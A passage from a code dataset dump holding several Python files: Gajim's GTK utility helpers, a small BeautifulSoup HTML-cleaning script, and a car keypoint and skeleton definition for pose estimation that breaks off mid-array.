(Pixbuf, Text) rows\n    '''\n    completion = Gtk.EntryCompletion()\n    liststore = Gtk.ListStore(str, str)\n\n    render_pixbuf = Gtk.CellRendererPixbuf()\n    completion.pack_start(render_pixbuf, False)\n    completion.add_attribute(render_pixbuf, 'icon_name', 0)\n\n    render_text = Gtk.CellRendererText()\n    completion.pack_start(render_text, True)\n    completion.add_attribute(render_text, 'text', 1)\n    completion.set_property('text_column', 1)\n    completion.set_model(liststore)\n    entry.set_completion(completion)\n    return liststore\n\n\ndef get_cursor(name: str) -> Gdk.Cursor:\n    display = Gdk.Display.get_default()\n    assert display is not None\n    cursor = Gdk.Cursor.new_from_name(display, name)\n    if cursor is not None:\n        return cursor\n    cursor = Gdk.Cursor.new_from_name(display, 'default')\n    assert cursor is not None\n    return cursor\n\n\ndef scroll_to_end(widget: Gtk.ScrolledWindow) -> bool:\n    '''Scrolls to the end of a GtkScrolledWindow.\n\n    Args:\n        widget (GtkScrolledWindow)\n\n    Returns:\n        bool: The return value is False so it can be used with GLib.idle_add.\n    '''\n    adj_v = widget.get_vadjustment()\n    if adj_v is None:  # pyright: ignore\n        # This can happen when the Widget is already destroyed when called\n        # from GLib.idle_add\n        return False\n    max_scroll_pos = adj_v.get_upper() - adj_v.get_page_size()\n    adj_v.set_value(max_scroll_pos)\n\n    adj_h = widget.get_hadjustment()\n    adj_h.set_value(0)\n    return False\n\n\ndef at_the_end(widget: Gtk.ScrolledWindow) -> bool:\n    '''Determines if a Scrollbar in a GtkScrolledWindow is at the end.\n\n    Args:\n        widget (GtkScrolledWindow)\n\n    Returns:\n        bool: The return value is True if at the end, False if not.\n    '''\n    adj_v = widget.get_vadjustment()\n    max_scroll_pos = adj_v.get_upper() - adj_v.get_page_size()\n    return adj_v.get_value() == max_scroll_pos\n\n\ndef get_image_button(icon_name: str, tooltip: str,\n                     toggle: bool = False) -> Gtk.Button:\n    if toggle:\n        button = Gtk.ToggleButton()\n        image = Gtk.Image.new_from_icon_name(icon_name, Gtk.IconSize.MENU)\n        button.set_image(image)\n    else:\n        button = Gtk.Button.new_from_icon_name(icon_name, Gtk.IconSize.MENU)\n    button.set_tooltip_text(tooltip)\n    return button\n\n\ndef python_month(month: int) -> int:\n    return month + 1\n\n\ndef gtk_month(month: int) -> int:\n    return month - 1\n\n\ndef convert_rgba_to_hex(rgba: Gdk.RGBA) -> str:\n    red = int(rgba.red * 255)\n    green = int(rgba.green * 255)\n    blue = int(rgba.blue * 255)\n    return f'#{red:02x}{green:02x}{blue:02x}'\n\n\ndef convert_rgb_to_hex(rgb_string: str) -> str:\n    rgba = Gdk.RGBA()\n    rgba.parse(rgb_string)\n    rgba.to_color()\n    return convert_rgba_to_hex(rgba)\n\n\n@lru_cache(maxsize=1024)\ndef convert_rgb_string_to_float(rgb_string: str) -> tuple[float, float, float]:\n    rgba = Gdk.RGBA()\n    rgba.parse(rgb_string)\n    return (rgba.red, rgba.green, rgba.blue)\n\n\ndef rgba_to_float(rgba: Gdk.RGBA) -> tuple[float, float, float]:\n    return (rgba.red, rgba.green, rgba.blue)\n\n\ndef make_rgba(color_string: str) -> Gdk.RGBA:\n    rgba = Gdk.RGBA()\n    rgba.parse(color_string)\n    return rgba\n\n\ndef get_monitor_scale_factor() -> int:\n    display = Gdk.Display.get_default()\n    assert display is not None\n    monitor = display.get_primary_monitor()\n    if monitor is None:\n        log.warning('Could not determine scale factor')\n        return 1\n    return monitor.get_scale_factor()\n\n\ndef get_primary_accel_mod() -> Gdk.ModifierType | None:\n    '''\n    Returns the primary Gdk.ModifierType modifier.\n    cmd on osx, ctrl everywhere else.\n    '''\n    return Gtk.accelerator_parse('<Primary>')[1]\n\n\ndef get_copy_modifier() -> Gdk.ModifierType:\n    if sys.platform == 'darwin':\n        return Gdk.ModifierType.META_MASK\n    return Gdk.ModifierType.CONTROL_MASK\n\n\ndef get_copy_modifier_keys() -> tuple[int, int]:\n    if sys.platform == 'darwin':\n        return Gdk.KEY_Meta_L, Gdk.KEY_Meta_R\n    return Gdk.KEY_Control_L, Gdk.KEY_Control_R\n\n\ndef get_hardware_key_codes(keyval: int) -> list[int]:\n    display = Gdk.Display.get_default()\n    assert display is not None\n    keymap = Gdk.Keymap.get_for_display(display)\n\n    valid, key_map_keys = keymap.get_entries_for_keyval(keyval)\n    if not valid:\n        return []\n    return [key.keycode for key in key_map_keys]\n\n\ndef ensure_not_destroyed(func: Any) -> Any:\n    @wraps(func)\n    def func_wrapper(self: Any, *args: Any, **kwargs: Any):\n        if self._destroyed:  # pylint: disable=protected-access\n            return None\n        return func(self, *args, **kwargs)\n    return func_wrapper\n\n\ndef format_tune(data: TuneData) -> str:\n    artist = GLib.markup_escape_text(data.artist or _('Unknown Artist'))\n    title = GLib.markup_escape_text(data.title or _('Unknown Title'))\n    source = GLib.markup_escape_text(data.source or _('Unknown Source'))\n\n    return _('<b>\"%(title)s\"</b> by <i>%(artist)s</i>\\n'\n             'from <i>%(source)s</i>') % {'title': title,\n                                          'artist': artist,\n                                          'source': source}\n\n\ndef get_account_tune_icon_name(account: str) -> str | None:\n    client = app.get_client(account)\n    tune = client.get_module('UserTune').get_current_tune()\n    return None if tune is None else 'audio-x-generic'\n\n\ndef format_location(location: LocationData) -> str:\n    location_dict = location._asdict()\n    location_string = ''\n    for attr, value in location_dict.items():\n        if value is None:\n            continue\n        text = GLib.markup_escape_text(value)\n        # Translate standard location tag\n        tag = LOCATION_DATA.get(attr)\n        if tag is None:\n            continue\n        location_string += f'\\n<b>{tag.capitalize()}</b>: {text}'\n\n    return location_string.strip()\n\n\ndef get_account_location_icon_name(account: str) -> str | None:\n    client = app.get_client(account)\n    location = client.get_module('UserLocation').get_current_location()\n    return None if location is None else 'applications-internet'\n\n\ndef format_eta(time_: int | float) -> str:\n    times = {'minutes': 0, 'seconds': 0}\n    time_ = int(time_)\n    times['seconds'] = time_ % 60\n    if time_ >= 60:\n        time_ = int(time_ / 60)\n        times['minutes'] = round(time_ % 60)\n        return _('%(minutes)s min %(seconds)s s') % times\n    return _('%s s') % times['seconds']\n\n\ndef format_fingerprint(fingerprint: str) -> str:\n    fplen = len(fingerprint)\n    wordsize = fplen // 8\n    buf = ''\n    for char in range(0, fplen, wordsize):\n        buf += f'{fingerprint[char:char + wordsize]} '\n    buf = textwrap.fill(buf, width=36)\n    return buf.rstrip().upper()\n\n\ndef find_widget(name: str, container: Gtk.Container) -> Gtk.Widget | None:\n    for child in container.get_children():\n        if Gtk.Buildable.get_name(child) == name:\n            return child\n        if isinstance(child, Gtk.Box):\n            return find_widget(name, child)\n    return None\n\n\nclass MultiLineLabel(Gtk.Label):\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        Gtk.Label.__init__(self, *args, **kwargs)\n        self.set_line_wrap(True)\n        self.set_line_wrap_mode(Pango.WrapMode.WORD_CHAR)\n        self.set_single_line_mode(False)\n        self.set_selectable(True)\n\n\nclass MaxWidthComboBoxText(Gtk.ComboBoxText):\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        Gtk.ComboBoxText.__init__(self, *args, **kwargs)\n        self._max_width: int = 100\n        text_renderer = self.get_cells()[0]\n        text_renderer.set_property('ellipsize', Pango.EllipsizeMode.END)\n\n    def set_max_size(self, size: int) -> None:\n        self._max_width = size\n\n    def do_get_preferred_width(self) -> tuple[int, int]:\n        minimum_width, natural_width = Gtk.ComboBoxText.do_get_preferred_width(\n            self)\n\n        if natural_width > self._max_width:\n            natural_width = self._max_width\n        if minimum_width > self._max_width:\n            minimum_width = self._max_width\n        return minimum_width, natural_width\n\n\ndef text_to_color(text: str) -> tuple[float, float, float]:\n    if app.css_config.prefer_dark:\n        lightness = 60\n    else:\n        lightness = 40\n    return nbxmpp_util.text_to_color(text, 100, lightness)\n\n\ndef get_contact_color(contact: types.ChatContactT\n                      ) -> tuple[float, float, float]:\n\n    if isinstance(contact, GroupchatParticipant):\n        if contact.room.muc_context in (None, 'public'):\n            return text_to_color(contact.name)\n\n        if contact.real_jid is not None:\n            return text_to_color(str(contact.real_jid))\n\n    return text_to_color(str(contact.jid))\n\n\ndef get_color_for_account(account: str) -> str:\n    col_r, col_g, col_b = text_to_color(account)\n    rgba = Gdk.RGBA(red=col_r, green=col_g, blue=col_b)\n    return rgba.to_string()\n\n\n@lru_cache(maxsize=16)\ndef get_css_show_class(show: str) -> str:\n    if show in ('online', 'chat'):\n        return '.gajim-status-online'\n    if show == 'away':\n        return '.gajim-status-away'\n    if show in ('dnd', 'xa'):\n        return '.gajim-status-dnd'\n    if show == 'connecting':\n        return '.gajim-status-connecting'\n    return '.gajim-status-offline'\n\n\ndef add_css_to_widget(widget: Any, css: str) -> None:\n    provider = Gtk.CssProvider()\n    provider.load_from_data(bytes(css.encode()))\n    context = widget.get_style_context()\n    context.add_provider(provider,\n                         Gtk.STYLE_PROVIDER_PRIORITY_USER)\n\n\ndef get_pixbuf_from_data(file_data: bytes) -> GdkPixbuf.Pixbuf | None:\n    # TODO: This already exists in preview_helpery pixbuf_from_data\n    '''\n    Get image data and returns GdkPixbuf.Pixbuf\n    '''\n    pixbufloader = GdkPixbuf.PixbufLoader()\n    try:\n        pixbufloader.write(file_data)\n        pixbufloader.close()\n        pixbuf = pixbufloader.get_pixbuf()\n    except GLib.Error:\n        pixbufloader.close()\n\n        log.warning('loading avatar using pixbufloader failed, trying to '\n                    'convert avatar image using pillow')\n        try:\n            avatar = Image.open(BytesIO(file_data)).convert('RGBA')\n            array = GLib.Bytes.new(avatar.tobytes())  # pyright: ignore\n            width, height = avatar.size\n            pixbuf = GdkPixbuf.Pixbuf.new_from_bytes(\n                array, GdkPixbuf.Colorspace.RGB,\n                True, 8, width, height, width * 4)\n        except Exception:\n            log.warning('Could not use pillow to convert avatar image, '\n                        'image cannot be displayed', exc_info=True)\n            return None\n\n    return pixbuf\n\n\ndef scale_with_ratio(size: int, width: int, height: int) -> tuple[int, int]:\n    if height == width:\n        return size, size\n    if height > width:\n        ratio = height / float(width)\n        return int(size / ratio), size\n\n    ratio = width / float(height)\n    return size, int(size / ratio)\n\n\ndef scale_pixbuf(pixbuf: GdkPixbuf.Pixbuf,\n                 size: int) -> GdkPixbuf.Pixbuf | None:\n    width, height = scale_with_ratio(size,\n                                     pixbuf.get_width(),\n                                     pixbuf.get_height())\n    return pixbuf.scale_simple(width, height,\n                               GdkPixbuf.InterpType.BILINEAR)\n\n\ndef scale_pixbuf_from_data(data: bytes,\n                           size: int\n                           ) -> GdkPixbuf.Pixbuf | None:\n    pixbuf = get_pixbuf_from_data(data)\n    assert pixbuf is not None\n    return scale_pixbuf(pixbuf, size)\n\n\ndef load_pixbuf(path: str | Path,\n                size: int | None = None\n                ) -> GdkPixbuf.Pixbuf | None:\n    try:\n        if size is None:\n            return GdkPixbuf.Pixbuf.new_from_file(str(path))\n        return GdkPixbuf.Pixbuf.new_from_file_at_scale(\n            str(path), size, size, True)\n\n    except GLib.Error:\n        try:\n            with open(path, 'rb') as im_handle:\n                img = Image.open(im_handle)\n                avatar = img.convert('RGBA')\n        except (NameError, OSError, UnidentifiedImageError):\n            log.warning('Pillow convert failed: %s', path)\n            log.debug('Error', exc_info=True)\n            return None\n\n        array = GLib.Bytes.new(avatar.tobytes())  # pyright: ignore\n        width, height = avatar.size\n        pixbuf = GdkPixbuf.Pixbuf.new_from_bytes(\n            array, GdkPixbuf.Colorspace.RGB, True,\n            8, width, height, width * 4)\n        if size is not None:\n            width, height = scale_with_ratio(size, width, height)\n            return pixbuf.scale_simple(width,\n                                       height,\n                                       GdkPixbuf.InterpType.BILINEAR)\n        return pixbuf\n\n    except RuntimeError as error:\n        log.warning('Loading pixbuf failed: %s', error)\n        return None\n\n\ndef get_thumbnail_size(pixbuf: GdkPixbuf.Pixbuf, size: int) -> tuple[int, int]:\n    # Calculates the new thumbnail size while preserving the aspect ratio\n    image_width = pixbuf.get_width()\n    image_height = pixbuf.get_height()\n\n    if image_width > image_height:\n        if image_width > size:\n            image_height = math.ceil(\n                size / float(image_width) * image_height)\n            image_width = int(size)\n    else:\n        if image_height > size:\n            image_width = math.ceil(\n                size / float(image_height) * image_width)\n            image_height = int(size)\n\n    return image_width, image_height\n\n\ndef make_href_markup(string: str) -> str:\n    url_color = app.css_config.get_value('.gajim-url', StyleAttr.COLOR)\n    assert isinstance(url_color, str)\n    color = convert_rgb_to_hex(url_color)\n\n    def _to_href(match: Match[str]) -> str:\n        url = match.group()\n        if '://' not in url:\n            url = 'https://' + url\n        return (f'<a href=\"{url}\"><span foreground=\"{color}\">'\n                f'{match.group()}</span></a>')\n\n    return URL_REGEX.sub(_to_href, string)\n\n\ndef get_app_windows(account: str) -> list[Gtk.Window]:\n    windows: list[Gtk.Window] = []\n    for win in app.app.get_windows():\n        if hasattr(win, 'account'):\n            if win.account == account:  # pyright: ignore\n                windows.append(win)\n    return windows\n\n\ndef get_app_window(name: str,\n                   account: str | None = None,\n                   jid: str | JID | None = None\n                   ) -> Gtk.Window | None:\n    for win in app.app.get_windows():\n        if type(win).__name__ != name:\n            continue\n\n        if account is not None:\n            if account != win.account:  # pyright: ignore\n                continue\n\n        if jid is not None:\n            if jid != win.jid:  # pyright: ignore\n                continue\n        return win\n    return None\n\n\ndef open_window(name: str, **kwargs: Any) -> Any:\n    window = get_app_window(name,\n                            kwargs.get('account'),\n                            kwargs.get('jid'))\n    if window is None:\n        module = import_module(WINDOW_MODULES[name])\n        window_cls = getattr(module, name)\n        window = window_cls(**kwargs)\n    else:\n        window.present()\n    return window\n\n\ndef get_gtk_version() -> str:\n    return '%i.%i.%i' % (\n        Gtk.get_major_version(),\n        Gtk.get_minor_version(),\n        Gtk.get_micro_version())\n\n\nclass EventHelper(CommonEventHelper):\n    def __init__(self):\n        CommonEventHelper.__init__(self)\n        self.connect('destroy', self.__on_destroy)  # pyright: ignore\n\n    def __on_destroy(self, *args: Any) -> None:\n        self.unregister_events()\n\n\ndef check_destroy(widget: Gtk.Widget) -> None:\n    def _destroy(*args: Any) -> None:\n        print('DESTROYED', args)\n    widget.connect('destroy', _destroy)\n\n\ndef _connect_destroy(sender: Any,\n                     func: Any,\n                     detailed_signal: str,\n                     handler: Any,\n                     *args: Any,\n                     **kwargs: Any) -> int:\n    '''Connect a bound method to a foreign object signal and disconnect\n    if the object the method is bound to emits destroy (Gtk.Widget subclass).\n    Also works if the handler is a nested function in a method and\n    references the method's bound object.\n    This solves the problem that the sender holds a strong reference\n    to the bound method and the bound to object doesn't get GCed.\n    '''\n\n    if hasattr(handler, '__self__'):\n        obj = handler.__self__\n    else:\n        # XXX: get the \"self\" var of the enclosing scope.\n        # Used for nested functions which ref the object but aren't methods.\n        # In case they don't ref \"self\" normal connect() should be used anyway.\n        index = handler.__code__.co_freevars.index('self')\n        obj = handler.__closure__[index].cell_contents\n\n    assert obj is not sender\n\n    handler_id = func(detailed_signal, handler, *args, **kwargs)\n\n    def disconnect_cb(*args: Any) -> None:\n        sender.disconnect(handler_id)\n\n    obj.connect('destroy', disconnect_cb)\n    return handler_id\n\n\ndef connect_destroy(sender: Any, *args: Any, **kwargs: Any) -> int:\n    return _connect_destroy(sender, sender.connect, *args, **kwargs)\n\n\ndef wrap_with_event_box(klass: Any) -> Any:\n    @wraps(klass)\n    def klass_wrapper(*args: Any, **kwargs: Any) -> Gtk.EventBox:\n        widget = klass(*args, **kwargs)\n        event_box = Gtk.EventBox()\n\n        def _on_realize(*args: Any) -> None:\n            window = event_box.get_window()\n            assert window is not None\n            window.set_cursor(get_cursor('pointer'))\n\n        event_box.connect_after('realize', _on_realize)\n        event_box.add(widget)\n        return event_box\n    return klass_wrapper\n\n\nclass AccountBadge(Gtk.Label):\n    def __init__(self, account: str | None = None) -> None:\n        Gtk.Label.__init__(self)\n        self.set_ellipsize(Pango.EllipsizeMode.END)\n        self.set_max_width_chars(12)\n        self.set_size_request(50, -1)\n        self.get_style_context().add_class('badge')\n        self.set_no_show_all(True)\n\n        if account is not None:\n            self.set_account(account)\n            self.show()\n\n    def set_account(self, account: str) -> None:\n        label = app.get_account_label(account)\n        self.set_text(label)\n\n        style_context = self.get_style_context()\n        for style_class in style_context.list_classes():\n            if style_class != 'badge':\n                style_context.remove_class(style_class)\n\n        account_class = app.css_config.get_dynamic_class(account)\n        style_context.add_class(account_class)\n\n        self.set_tooltip_text(_('Account: %s') % label)\n        app.settings.disconnect_signals(self)\n        app.settings.connect_signal(\n            'account_label',\n            self._on_account_label_changed,\n            account)\n\n    def _on_account_label_changed(self,\n                                  _value: str,\n                                  _setting: str,\n                                  account: str | None,\n                                  *args: Any\n                                  ) -> None:\n\n        assert account is not None\n        self.set_account(account)\n\n\ndef make_pango_attributes(block: PlainBlock) -> Pango.AttrList:\n    attrlist = Pango.AttrList()\n    for span in block.spans:\n        attr = get_style_attribute_with_name(span.name)\n        attr.start_index = span.start_byte\n        attr.end_index = span.end_byte\n        attrlist.insert(attr)\n    return attrlist\n\n\n_grapheme_buffer = Gtk.TextBuffer()\n\n\ndef get_first_graphemes(text: str, n: int) -> str:\n    # This should be possible with lower-level APIs like Pango.break_* or\n    # Pango.get_log_attrs, but their Python bindings seem totally broken.\n    # The re-use of one global buffer is to mitigate very probable memory leaks.\n    _grapheme_buffer.set_text(text)\n    cursor = _grapheme_buffer.get_start_iter()\n    cursor.forward_cursor_positions(n)\n    return _grapheme_buffer.get_slice(\n        _grapheme_buffer.get_start_iter(), cursor, False)\n\n\ndef get_first_grapheme(text: str) -> str:\n    return get_first_graphemes(text, 1)\n\n\ndef get_style_attribute_with_name(name: str) -> Pango.Attribute:\n    if name == 'strong':\n        return Pango.attr_weight_new(Pango.Weight.BOLD)\n\n    if name == 'strike':\n        return Pango.attr_strikethrough_new(True)\n\n    if name == 'emphasis':\n        return Pango.attr_style_new(Pango.Style.ITALIC)\n\n    if name == 'pre':\n        return Pango.attr_family_new('monospace')\n\n    raise ValueError('unknown attribute %s' % name)\n\n\ndef get_key_theme() -> str | None:\n    settings = Gtk.Settings.get_default()\n    if settings is None:\n        return None\n    return settings.get_property('gtk-key-theme-name')\n\n\ndef make_menu_item(label: str,\n                   action: str | None = None,\n                   value: MenuValueT = None) -> Gio.MenuItem:\n\n    item = Gio.MenuItem.new(label)\n\n    if value is None:\n        item.set_action_and_target_value(action, None)\n        return item\n\n    item = Gio.MenuItem.new(label)\n    if isinstance(value, str):\n        item.set_action_and_target_value(action, GLib.Variant('s', value))\n    elif isinstance(value, VariantMixin):\n        item.set_action_and_target_value(action, value.to_variant())\n    else:\n        item.set_action_and_target_value(action, value)\n    return item\n\n\nclass GajimMenu(Gio.Menu):\n    def __init__(self):\n        Gio.Menu.__init__(self)\n\n    @classmethod\n    def from_list(cls, menulist: MenuItemListT) -> GajimMenu:\n        menu = cls()\n        for item in menulist:\n            menuitem = make_menu_item(*item)\n            menu.append_item(menuitem)\n        return menu\n\n    def add_item(self,\n                 label: str,\n                 action: str,\n                 value: MenuValueT | None = None) -> None:\n        item = make_menu_item(label, action, value)\n        self.append_item(item)\n\n    def add_submenu(self, label: str) -> GajimMenu:\n        menu = GajimMenu()\n        self.append_submenu(label, menu)\n        return menu\n\n\nclass GdkRectangle(Gdk.Rectangle):\n    def __init__(self,\n                 x: int,\n                 y: int,\n                 height: int = 1,\n                 width: int = 1\n                 ) -> None:\n\n        Gdk.Rectangle.__init__(self)\n        self.x = x\n        self.y = y\n        self.height = height\n        self.width = width\n\n\nclass GajimPopover(Gtk.Popover):\n    def __init__(self,\n                 menu: Gio.MenuModel,\n                 relative_to: Gtk.Widget | None = None,\n                 position: Gtk.PositionType = Gtk.PositionType.RIGHT,\n                 event: Gdk.EventButton | None = None) -> None:\n\n        Gtk.Popover.__init__(self)\n\n        self.bind_model(menu)\n        self.set_relative_to(relative_to)\n        self.set_position(position)\n        if event is not None:\n            self.set_pointing_from_event(event)\n\n        self.connect('closed', self._destroy)\n\n    def set_pointing_from_event(self, event: Gdk.EventButton) -> None:\n        self.set_pointing_to_coord(event.x, event.y)\n\n    def set_pointing_to_coord(self, x: float, y: float) -> None:\n        rectangle = GdkRectangle(x=int(x), y=int(y))\n        self.set_pointing_to(rectangle)\n\n    def _destroy(self, popover: Gtk.Popover) -> None:\n        app.check_finalize(popover)\n        GLib.idle_add(popover.set_relative_to, None)\n","repo_name":"gajim/gajim","sub_path":"gajim/gtk/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":29953,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"22"}
+{"seq_id":"70082000696","text":"import sys\nimport requests\nfrom bs4 import BeautifulSoup, Comment\n\n\ndef clean_html(html):\n    soup = BeautifulSoup(html, \"html.parser\")\n\n    # Remove all <script> and <style> tags\n    for tag in soup([\"script\", \"style\"]):\n        tag.decompose()\n\n    # Remove all comments\n    for comment in soup(text=lambda text: isinstance(text, Comment)):\n        comment.extract()\n\n    # Remove all empty tags (if needed)\n    for tag in soup.find_all():\n        if len(tag.get_text(strip=True)) == 0:\n            tag.decompose()\n\n    # Remove style attributes from all tags\n    for tag in soup.find_all(style=True):\n        del tag[\"style\"]\n\n    return str(soup)\n\n\n# Example usage\nsource = sys.argv[1]\nhtml = None\nif source.startswith(\"http\"):\n    url = source\n    html = requests.get(url).text\n\nelse:\n    with open(source) as html_file:\n        html = html_file.read()\n\ncleaned_html = clean_html(html)\nprint(cleaned_html)\n\n","repo_name":"buyuk-dev/otodom-scrapper","sub_path":"tools/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17596689295","text":"import numpy as np\n\nCAR_KEYPOINTS = [\n    \"top_left_c_left_front_car_light\",      # 0\n    \"bottom_left_c_left_front_car_light\",   # 1\n    \"top_right_c_left_front_car_light\",     # 2\n    \"bottom_right_c_left_front_car_light\",  # 3\n    \"top_right_c_left_front_fog_light\",     # 4\n    \"bottom_right_c_left_front_fog_light\",  # 5\n    \"front_section_left_front_wheel\",       # 6\n    \"center_left_front_wheel\",              # 7\n    \"top_right_c_front_glass\",              # 8\n    \"top_left_c_left_front_door\",           # 9\n    \"bottom_left_c_left_front_door\",        # 10\n    \"top_right_c_left_front_door\",          # 11\n    \"middle_c_left_front_door\",             # 12\n    \"front_c_car_handle_left_front_door\",   # 13\n    \"rear_c_car_handle_left_front_door\",    # 14\n    \"bottom_right_c_left_front_door\",       # 15\n    \"top_right_c_left_rear_door\",           # 16\n    \"front_c_car_handle_left_rear_door\",    # 17\n    \"rear_c_car_handle_left_rear_door\",     # 18\n    \"bottom_right_c_left_rear_door\",        # 19\n    \"center_left_rear_wheel\",               # 20\n    \"rear_section_left_rear_wheel\",         # 21\n    \"top_left_c_left_rear_car_light\",       # 22\n    \"bottom_left_c_left_rear_car_light\",    # 23\n    \"top_left_c_rear_glass\",                # 24\n    \"top_right_c_left_rear_car_light\",      # 25\n    \"bottom_right_c_left_rear_car_light\",   # 26\n    \"bottom_left_c_trunk\",                  # 27\n    \"Left_c_rear_bumper\",                   # 28\n    \"Right_c_rear_bumper\",                  # 29\n    \"bottom_right_c_trunk\",                 # 30\n    \"bottom_left_c_right_rear_car_light\",   # 31\n    \"top_left_c_right_rear_car_light\",      # 32\n    \"top_right_c_rear_glass\",               # 33\n    \"bottom_right_c_right_rear_car_light\",  # 34\n    \"top_right_c_right_rear_car_light\",     # 35\n    \"rear_section_right_rear_wheel\",        # 36\n    \"center_right_rear_wheel\",              # 37\n    \"bottom_left_c_right_rear_car_door\",    # 38\n    \"rear_c_car_handle_right_rear_car_door\",    # 39\n    \"front_c_car_handle_right_rear_car_door\",   # 40\n    \"top_left_c_right_rear_car_door\",       # 41\n    \"bottom_left_c_right_front_car_door\",   # 42\n    \"rear_c_car_handle_right_front_car_door\",   # 43\n    \"front_c_car_handle_right_front_car_door\",  # 44\n    \"middle_c_right_front_car_door\",        # 45\n    \"top_left_c_right_front_car_door\",      # 46\n    \"bottom_right_c_right_front_car_door\",  # 47\n    \"top_right_c_right_front_car_door\",     # 48\n    \"top_left_c_front_glass\",               # 49\n    \"center_right_front_wheel\",             # 50\n    \"front_section_right_front_wheel\",      # 51\n    \"bottom_left_c_right_fog_light\",        # 52\n    \"top_left_c_right_fog_light\",           # 53\n    \"bottom_left_c_right_front_car_light\",  # 54\n    \"top_left_c_right_front_car_light\",     # 55\n    \"bottom_right_c_right_front_car_light\", # 56\n    \"top_right_c_right_front_car_light\",     # 57\n    \"top_right_c_front_lplate\",             # 58\n    \"top_left_c_front_lplate\",              # 59\n    \"bottom_right_c_front_lplate\",           # 60\n    \"bottom_left_c_front_lplate\",          # 61\n    \"top_left_c_rear_lplate\",               # 62\n    \"top_right_c_rear_lplate\",              # 63\n    \"bottom_right_c_rear_lplate\",           # 64\n    \"bottom_left_c_rear_lplate\",            # 65\n    ]\n\n\nHFLIP_ids = {\n    0: 57,\n    1: 56,\n    2: 55,\n    3: 54,\n    4: 53,\n    5: 52,\n    6: 51,\n    7: 50,\n    8: 49,\n    9: 48,\n    10: 47,\n    11: 46,\n    12: 45,\n    13: 44,\n    14: 43,\n    15: 42,\n    16: 41,\n    17: 40,\n    18: 39,\n    19: 38,\n    20: 37,\n    21: 36,\n    22: 35,\n    23: 34,\n    24: 33,\n    25: 32,\n    26: 31,\n    27: 30,\n    28: 29,\n    59: 58,\n    61: 60,\n    62: 63,\n    65: 64\n}\n\nHFLIP = {}\nchecklist = []\nfor ind in HFLIP_ids:\n    HFLIP[CAR_KEYPOINTS[ind]] = CAR_KEYPOINTS[HFLIP_ids[ind]]\n    HFLIP[CAR_KEYPOINTS[HFLIP_ids[ind]]] = CAR_KEYPOINTS[ind]\n    checklist.append(ind)\n    checklist.append(HFLIP_ids[ind])\nassert sorted(checklist) == list(range(len(CAR_KEYPOINTS)))\nassert len(HFLIP) == len(CAR_KEYPOINTS)\n\nCAR_CATEGORIES = ['car']\n\nSKELETON_LEFT = [\n    [59, 61], [59,1], [61, 5], [0,1], [0,2], [2,3], [3,1], [3,4], [4,5], #front\n    [5, 6], [6,7], [4, 7], [2,9], [9,8], [8,11], [7,10], [6, 10], [9,10], #side front part\n    [11,12], [11,24], [9,12], [10,15], [12,15], [9, 13], [13,14], [14,12], [14,15], #side middle part\n    [24,16], [12,16], [12, 17], [17, 18], [18, 16], [15, 19], [19, 20], [19,18], [20, 21], [16,21], # side back part\n    [16, 22], [21, 28], [22, 23], [23,28], [22,25], [25,26], [23,26], [26,27], [25,62], [27,65], [62, 65], [28, 65]\n    ]\n\nSKELETON_RIGHT = [[HFLIP_ids[bone[0]], HFLIP_ids[bone[1]]] for bone in SKELETON_LEFT]\n\nSKELETON_CONNECT = [\n    [28, 29], [62,63], [65,64], [24,33], [46, 11], [48,9], [59, 58], [60, 61], [0, 57], [49, 8]\n    ]\n\nSKELETON_ALL = SKELETON_LEFT + SKELETON_RIGHT + SKELETON_CONNECT\n\nCAR_SKELETON = [(bone[0] + 1, bone[1] + 1) for bone in SKELETON_ALL]  # COCO style skeletons label the first kp with 1\n\nCAR_SIGMAS = [0.05] * len(CAR_KEYPOINTS)\n\nsplit, error = divmod(len(CAR_KEYPOINTS), 4)\nCAR_SCORE_WEIGHTS = [10.0] * split + [3.0] * split + [1.0] * split + [0.1] * split + [0.1] * error\nassert len(CAR_SCORE_WEIGHTS) == len(CAR_KEYPOINTS)\n\n\n#number plate offsets\np_x = 0.3\np_y_top = -0.2\np_y_bottom = -0.4\n\n# z for front\nfront_z = -2.0\nfront_z_side = -1.8\nfront_z_corner = -1.7\nfront_z_wheel = -1.4\nfront_z_door = -1.0\n\n# lights x offset\nlight_x_inside = 0.8\nx_outside = 1.0\n\n# y offsets\ntop_car = 0.5\nbottom_line = -0.75\ntop_line = 0.1\n\n# z for the back\nback_z_wheel = 1.0\nback_z = 1.5\nback_z_side = 1.3\n\nCAR_POSE_HALF = np.array([\n    [-light_x_inside, 0.0, front_z],    # 0\n    [-light_x_inside, -0.2, front_z],  # 1\n    [-x_outside, 0.0, front_z_side],  # 2 \n    [-x_outside, -0.2, front_z_side],  # 3\n    [-x_outside, p_y_bottom, front_z_side],  # 4\n    [-x_outside, p_y_bottom - 0.2, front_z_side],  # 5\n    [-x_outside, bottom_line, front_z_corner],  # 6\n    [-x_outside, bottom_line + 0.1, front_z_wheel,],  # 7\n    [-x_outside + 0.1, top_car, front_z_door + 0.5,],  # 8\n    [-x_outside, top_line, front_z_door,],  # 9\n    [-x_outside, bottom_line,  front_z_door,],  # 10\n    [-x_outside + 0.1,  top_car, 0.1,],  # 11\n    [-x_outside, top_line, 0.05,],  # 12\n    [-x_outside, 0.0, -0.1,],  # 13\n    [-x_outside, 0.0, 0.0,],  # 14\n    [-x_outside, bottom_line, 0.0,],  # 15\n    [-x_outside, top_line, back_z_wheel,],  # 16\n    [-x_outside, 0.0, back_z_wheel * 0.8,],  # 17\n    [-x_outside, 0.0, back_z_wheel * 0.9,],  # 18\n    [-x_outside, bottom_line, back_z_wheel * 0.6,],  # 19\n    [-x_outside, bottom_line + 0.1, back_z_wheel,],  # 20\n    [-x_outside, bottom_line, back_z_side - 0.2,],  # 21\n    [-x_outside, 0.0, back_z_side,],  # 22\n    [-x_outside, -0.2, back_z_side,],  # 23\n    [-x_outside + 0.1,  top_car - 0.1, back_z_wheel,],  # 24\n    [-light_x_inside, 0.0, back_z,],  # 25\n    [-light_x_inside, -0.2, back_z,],  # 26\n    [-light_x_inside + 0.1, -0.3, back_z,],  # 27\n    [-x_outside + 0.1, bottom_line, back_z,]]  # 28\n    + [[np.nan, np.nan, np.nan,]] * 30 + # will later be mirrored, see figure 3, ApolloCar 3D paper\n    [[-p_x, p_y_top, front_z],]  # 